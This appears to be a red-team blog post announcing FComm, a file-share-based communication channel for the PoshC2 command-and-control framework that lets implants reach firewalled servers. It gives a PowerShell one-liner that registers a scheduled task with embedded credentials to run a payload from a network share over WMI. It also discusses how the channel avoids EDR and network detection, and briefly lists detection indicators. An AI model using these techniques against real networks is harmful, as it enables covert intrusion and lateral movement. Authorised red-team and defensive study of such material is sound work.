Over the past few years, we have found a few edge cases where the traditional lateral movement communication methods contained within PoshC2 did not suit particular client environments. To solve this problem, we have created FComm. Today, we are sharing FComm with you.
FComm – What and Why
FComm provides an additional communication method for the PoshC2 framework, Nettitude’s open-source Command and Control framework. It provides a way to circumvent certain lateral movement limitations using file-based communications.
Before we go any further, let’s examine the use case. Imagine the following scenario.
At the far left we have your C2 architecture. For the purposes of this example, we’re assuming it’s communicating over the internet and there is some form of security control between the targets corporate network and the internet, represented in the diagram further to the right.
Imagine you’ve obtained a foothold on a compromised workstation and are able to run commands on a remote server, but you’re unable to establish full C2 communications.
In effect, we’re presented with a host that is firewalled off from the world; something like this:
Imagine that host has an equally restrictive firewall coming outbound between you and it.
The target server has:
- No internet access.
- No TCP/445 available either in reverse or as a bind shell.
- No egress to the workstation via any available ports.
- The workstation and server both have access to a common file share.
Traditionally, PoshC2 has the following methods for allowing implants to communicate when laterally moving across a network:
- Daisy Chain – This is achieved via a HTTP server being hosted on a port on our implant host, and the remote target connects back via this HTTP Server. Effectively all comms traffic gets beaconed back via the original implant’s comms. It does require elevation and requires the host to be able to connect back to the workstation.
- PBind – This is communication over SMB Pipes. A pipe is opened at the remote target, and our implanted workstation connects to it. Communications happen over port 445 and it requires the ability for us to connect over 445 to the target. PBind provides a ‘push’ type of communication when the target cannot connect back to the compromised host.
- PS Remoting – PoshC2 seamlessly integrates with PowerShell remoting, however you need to be sufficiently permissioned, have trust, and ports 5985 & 5986 need to be available to the implant host.
- Finally, we can leverage SharpSocks to SOCKS proxy connections via an implant, allowing our local host to directly communicate with the target environment.
Unfortunately, none of these solutions would actually work in this case. At this point, if proper access needs to be gained to the target server, the red team would need to explore alternative options. What if you could abuse a point of inherent trust within the network?
This is where FComm comes in.
FComm solves this problem by communicating via a trusted party, i.e. file servers that already exist in the environment. It doesn’t have to make network connections itself, or communicate via a previously unknown service exposed on one of the hosts, and it doesn’t require any exploitation of the messenger in any way other than how it would be normally used.
How does FComm work?
When you start FComm, your implant running on the compromised workstation will create a file on a nominated file share. On the target server, we deliver and execute our FComm payload via any means, and it then communicates back home wholly via this file.
The file can be written to over SMB, RDP or Citrix mapped drives or any other mechanism (Microsoft Onedrive, etc), but ultimately the file will be setup and then monitored for changes as both the server and workstation read and write beacon traffic to that file (beacon time will control how often the check is made – but at present it is hard coded at 5 seconds at each end).
How do you use FComm?
By default, FComm communicates with a file located at
c:\users\public\public.ost; this can be changed with the
FCommFilename parameter within the configuration file for a project, before the first start of the server. Automatic payload generation will generate the full suite of PoshC2 payloads with the path configured accordingly.
Creating new payloads using
createnewshellcode will prompt you for a new path once again, just like the rest of the payload options in PoshC2, so new payloads can be easily generated with a new FComm file path when required.
Once you’ve executed the FComm payload on the target system, you will need to tell the implant on the compromised workstation to connect to the FComm instance. You do this using the command
fcomm-connect command also supports a file path as a single argument, but by default it will connect with the path as specified within the PoshC2 configuration at the start.
FComm is wholly dependent on being able to access a file, so while the implant itself will overwrite the target file or create it if it does not exist, it can be advantageous to pre-create the file and ensure that permissions are set correctly upon it.
Additionally, file paths may vary. One of the use cases we mentioned previously was over RDP/Citrix mapped drives. In that case the implant would use a file path of
//tsclient/c/users/public/notanimplant.ext and the workstation performing the
fcomm-connect will be using a path of
It is also worth noting that a single implant can only manage a single FComm connection at the moment, so if you require additional FComm child implants you will first need to create a new parent.
Finally, we have the “double knock” issue.
Traditionally this is used to describe the issue when you’re attempting to perform domain enumeration etc. from an implant gained via WMI or any other method that uses the Network Logon logon type. Because the remote endpoint does not have a full token, your credentials cannot be relayed. For example, if the method of authentication to gain execution has used NETNTLMv2 challenge response authentication, it cannot then use those credentials to access network resources.
This is a known problem and requires some effort to work around. Typically, you’d migrate or start a new process on the host with the credentials as you’re in a position to do that, obtaining a full token in the process. Unfortunately, in our case we’re not really ‘in’ at the time we need to be able to do this; we’ve got execution but no C2. We need to solve this in a more involved manner.
One such solution is to use the task scheduler to do the heavy lifting. This example is running the FComm executable payload as is.
$user='example\bjohnson';$pass='Passw0rd!' | ConvertTo-SecureString -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential -ArgumentList $user,$pass; $action = New-ScheduledTaskAction -Execute '\\dc2020\global\covid-19.exe'; $trigger = New-ScheduledTaskTrigger -once -at (get-date).AddSeconds(10); $t.EndBoundary = (get-date).AddSeconds(60).ToString('s'); Register-ScheduledTask -Force -TaskName coughcough -User example\bjohnson -Password $cred.GetNetworkCredential().Password -Action $action -Trigger $trigger
The PowerShell code above is meant to be run as a one-liner encoded command, thrown over WMI using
invoke-wmiexec inside of PoshC2.
It creates a credential object and creates a new scheduled task that accesses the network share to run the executable, with the stored credential object.
This gets around the double knock problem as the process is executed with the credentials of the user. It can now successfully authenticate to a network share and access the target file. Above we had it run the FComm executable, but there’s no reason it wouldn’t work with other execution mechanism such as a DLL hijack. Similar methods that create processes with a full token will solve the double knock problem.
What do the blue team see?
There are a number detection points, especially with the method above. The initial execution can be picked up via a number of methods:
- Frequent disk IO and/or read and writes to the shared file.
- Base64 data being written to disk.
Despite these, CarbonBlack does not flag on the FComm process out of the box.
Zero network connections and three file modifications (this will likely tick up over time). Our super sensitive server is communicating via C2, but not via any network connection or pipe. The only thing it’s doing is communicating with a known and trusted fileserver located in the network.
Let’s check the process out in Process Explorer and see what it says regarding TCP/IP connections made by the process.
Again, no TCP/IP connections from the process to cause immediate alarm.
This does not guarantee that the process is undetectable of course, as per our earlier IoCs, however it does make significantly less noise than many other communications methods.
Why no TCP network connections?
Well, the most likely explanation is because FComm uses files; interactions with files are handled via API calls to the underlying OS in the exact same manner a local file would be accessed. The executable itself does not attempt to open or connect to any sockets, and the act of actually writing or reading the files are handled by the underlying OS, therefore the executable itself does no network communications.
With FComm we’ve managed to work around the network restrictions, we’ve done it without making any network connections other than to already trusted hosts in the environment to existing services, and we’ve done it securely with the end-to-end encryption.
If FComm helps you achieve an objective on a particularly tough red team engagement, or if you need a hand getting it up and running, come and find us at https://poshc2.slack.com.